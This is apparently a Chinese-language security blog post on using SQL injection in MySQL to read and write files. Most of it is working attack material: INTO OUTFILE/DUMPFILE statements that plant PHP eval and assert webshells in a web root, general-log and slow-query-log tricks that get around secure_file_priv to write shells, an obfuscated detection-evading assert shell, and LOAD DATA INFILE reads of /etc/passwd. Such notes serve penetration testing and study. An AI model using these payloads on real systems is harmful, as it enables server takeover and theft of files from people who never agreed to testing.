SQL注入:文件读写

<!–more–>

SQL注入:文件读写

之前我们的基础注入包括盲注都依赖于HTTP请求的响应,并从其中获取查询结果,报错信息,页面变化,以及响应时间,而这次我们要讲的文件读写则是直接将需要的信息写入文件,或者从文件中读取信息。

参考:

对MYSQL注入相关内容及部分Trick的归类小结

前置知识

Mysql中的读写权限

说到文件读写,那就免不了要提到权限的问题。

  • file_priv 是用户读写文件的权限,可以通过以下payload来查询权限

    select file_priv from mysql.user where user=$USER AND host=$HOST;
    SELECT HOST, USER, File_priv from mysql.user;
    
  • secure-file-priv 是系统变量,用于对文件读写功能进行限制:

    • 为空,表示无限制
    • 为NULL,表示禁止文件读写
    • 为目录名,表示将文件读写限制在特定目录下

注: 5.5.53 本身及之后的版本默认值为NULL,之前的版本为空

查看 secure-file-priv 值的方法

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
secure_file_priv
  • secure_file_priv= (空格)代表对文件读写没有限制
  • secure_file_priv=NULL 代表不能进行文件读写
  • secure_file_priv=d:/… (具体路径) 代表只能对改路径下文件进行读写

修改的方法 :

通过修改my.ini文件,添加: secure-file-priv=

启动项添加参数: mysqld.exe --secure-file-priv=

SELECT .. INTO 语句

Mysql文档:《13.2.9.1 SELECT … INTO Statement》

SELECT ... INTO 表达式允许由SELECT语句查询到的结果存储到变量或者文件中:

一般的利用就是将一句话木马注入到服务端,然后再用蚁剑等工具连接:

select 1,"<?php @eval($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
需要满足的条件
  • secure-file-priv 为空或为可以利用的目录
  • 需要知道目标文件的绝对路径
  • 目标目录的权限为可写,mysql的权限也足够

因此需要先查看权限是否足够:

mysql> show variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         |       |
+--------------------------+-------+
3 rows in set (0.02 sec)

日志法

参考

由于在mysql的5.5.53版本之后, secure-file-priv 的值默认为 NULL (NULL不等于空),不满足我们所需要的条件(secure-file-priv为空或为可以利用的目录),无法进行正常的读写。

因此这里我们通过更改日志文件的方法来进行绕过:

show variables like '%general%';  #查看日志文件相关配置

set global general_log = on;  #开启general log模式

set global general_log_file = '/var/www/html/1.php';   #设置日志目录为我们想要执行的shell地址

select '<?php eval($_POST[cmd]);?>';  #写入shell

新建的1.php文件内容如下:

/Applications/MAMP/Library/bin/mysqld, Version: 5.7.34 (MySQL Community Server (GPL)). started with:
Tcp port: 8889  Unix socket: /Applications/MAMP/tmp/mysql/mysql.sock
Time                 Id Command    Argument
2022-10-02T01:43:34.925269Z	    6 Query	select '<?php eval($_POST[cmd]);?>'

接下来就可以用蚁剑进行连接了。

SQL查询免杀shell

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

# assert($_REQUEST['username'])

慢查询日志

show variables like "%slow_query_log%"; #查看慢查询日志的相关配置
mysql> set global slow_query_log=on; #开启慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php' #修改慢查询日志文件

SELECt sleep(10) or '<?php eval($_POST[cmd]);?>'; #用一个执行时间很长的SQL语句注入shell语句(没有考证过一般的做法)

接着用蚁剑连接成功。

慢日志2.php的内容如下:

/Applications/MAMP/Library/bin/mysqld, Version: 5.7.34 (MySQL Community Server (GPL)). started with:
Tcp port: 8889  Unix socket: /Applications/MAMP/tmp/mysql/mysql.sock
Time                 Id Command    Argument
# Time: 2022-10-02T02:00:08.779509Z
# User@Host: root[root] @ localhost []  Id:     6
# Query_time: 10.079524  Lock_time: 0.000000 Rows_sent: 1  Rows_examined: 0
use security;
SET timestamp=1664676008;
select sleep(10) or '<?php eval($_POST[cmd]);?>';
慢查询日志(slow_query_log)
  • 当SQL执行的时间超过我们设定的时间,那么这些SQL就会被记录在慢查询日志中
  • 接着就可以用查看慢查询日志,接着使用explain分析这些SQL的执行,接着判定为什么效率低下
需要满足的条件
  • 需要进行日志设置操作的权限
  • 需要目标文件的绝对路径

CSS-T | Mysql Client 任意文件读取攻击链拓展

  1. Mysql内置了用于读取文件的函数 load_file()
select load_file(file_path);
Figure 1: load_file

Figure 1: load_file

  1. 读取服务端文件,Mysql server读取服务端的 /etc/passwd/ 文件,然后将数据按照 '\n' 分割 插入test表中,但是受到 secure_file_priv 的限制:

    load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
    
  2. 读取客户端文件,读取客户端的文件,然后发送到客户端:

    load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
    
    • 前两种读取服务端文件都需要 secure-file-priv 为空(无值)或者为可利用的目录
    • 都需要知道读取文件所在的绝对路径
    • 读取的文件大小必须小于 max_allowed_packet 所设置的值
Figure 2: max_allowed_packet

Figure 2: max_allowed_packet

低权限读取文件的方法

我们在前置知识中提到了5.5.53版本之后, secure-file-priv 默认为 NULL 这里给出方法,参考文章提到mysql8测试失败,其他版本自测;

将想要读取的文件的信息放入表中,然后再读取:

drop table mysql.m1; #清空原来可能存在的mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;
Licensed under CC BY-NC-SA 4.0
Last updated on Oct 11, 2022 17:14 CST
comments powered by Disqus
Cogito, ergo sum
Built with Hugo
Theme Stack designed by Jimmy